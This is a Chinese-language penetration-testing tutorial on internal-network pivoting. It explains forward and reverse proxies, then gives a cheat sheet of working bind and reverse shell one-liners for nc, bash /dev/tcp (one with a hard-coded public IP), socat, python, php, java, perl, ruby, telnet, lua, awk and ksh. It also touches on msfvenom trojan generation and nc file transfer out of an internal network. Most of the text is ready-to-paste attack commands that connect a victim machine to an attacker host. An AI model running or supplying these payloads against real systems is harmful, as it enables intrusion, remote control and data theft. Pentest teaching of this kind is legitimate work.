内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)
目的
渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入
需要转发的情况
1.A可以访问B的80端口,但是不能访问B的3389端口
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信
代理方式
正向代理
正向代理是服务器开放端口,客户端主动访问服务器的端口
我们常说的代理就是指正向代理,正向代理的过程,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。
举个例子在国内用浏览器访问 www.google.com 时,因为防火墙的原因拒绝连接,这时候你可以在国外搭建一台代理服务器,让代理帮你去请求google.com,代理把请求返回的相应结构再返回给你。
反向代理
反向代理是客户端开发端口,服务器连接客户端
反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去,比如说负载均衡。
内网转发形式
反弹shell:在攻击者机器,获取受害者机器的命令行
反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
反弹代理:将攻击者的流量转发到内网其他服务器上
反弹shell
1.工具nc使用
1.1 利用nc正向连接shel(常用)
条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口
(受害机输入)
nc -lvp 4444 -e cmd.exe (反弹windows shell)
nc -lvp 4444 -e /bin/bash (反弹linux shell)
此处以windows为例:
步骤二:攻击机连接被控服务器的4444端口
(攻击机输入)
nc -vv 受害机ip 4444
1.2 利用nc反弹shell(常用)
条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)
nc -lvp 4444
步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)
nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)
此处以windows为例:
2.工具msf使用
2.1 msfconsole
作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透。。。
模块介绍:
exploits:攻击脚本
payloads:攻击载荷(攻击效果控制)
auxiliaru:辅助模块(扫描工具等)
post:后渗透模块(提取信息)
encoders编码模块
nops:无操作生成器
2.2 msfvenom
作用:制作木马
2.3 msfencode
作用:对木马进行编码
2.4 msf使用:
3.Linux反弹shell总结
方式:
利用系统自带的bash和gawk
利用脚本:python、perl、ruby、lua、php、jsp、aspx
利用第三方服务或工具:elnet、xterm、socat、nc
使用方法:
3.1.1 发送文件(公网发内网)
文件发送端:
nc -lp 6666 < 文件
文件接收端:
nc 发送端ip 发送端端口 > 新文件
3.1.2 发送文件(内网发公网)
文件发送端:
nc -lp 6666 > 文件
文件接收端:
nc 发送端ip 发送端端口 < 新文件
3.2 聊天
发送端:
nc -lp 6666
接收端:
nc 发送端ip 发送端端口
3.3.1 nc发送shell
发送端(公网服务器):
nc -lvvp 6666 -e /bin/bash
接收端:
nc 发送端ip 发送端攻击者ip
3.3.2 nc反弹shell
接收端:
nc -lvvp 6666
发送端(内网网服务器):
nc 接收端ip 接收端端口 -e /bin/bash
3.4 bash反弹
接收端(hackip,公网):
nc -lvvp 端口
发送端(受害者):
bash -i >& /dev/tcp/111.230.170.95/9985 0>&1
或者发送端(受害者):
0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31
3.5.1 socat反弹(tcp)
接收端(攻击机):
./socat TCP-LISTEN:端口
发送端(靶机):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
3.5.2 socat反弹(udp)
接收端:
nc -lvvp 8080
发送端:
socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
3.6 python反弹
接收端(攻击机,外网):
nc -lvvp 端口
发送端(靶机):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3.7 PHP反弹
接收端:
nc -lvvp 端口
发送端:
php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
3.8 JAVA反弹
接收端:
nc -lvvp 端口
发送端:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
3.9 perl反弹
接收端:
nc -lvvp 端口
发送端:
perl -e 'use Socket;$i="攻击者ip";$p=攻击者端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3.10 ruby反弹
接收端:
nc -lvvp 端口
发送端:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
3.11 telnet反弹
接收端:
nc -lvvp 端口
发送端:
mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe
3.12 lua反弹(安装lua环境:apt-get install lua*)
接收端:
nc -lvvp 端口
发送端:
lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
3.13 awk反弹
接收端:
nc -lvvp 端口
发送端:
awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
3.14 ksh反弹
接收端:
nc -lvvp 端口
发送端:
ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'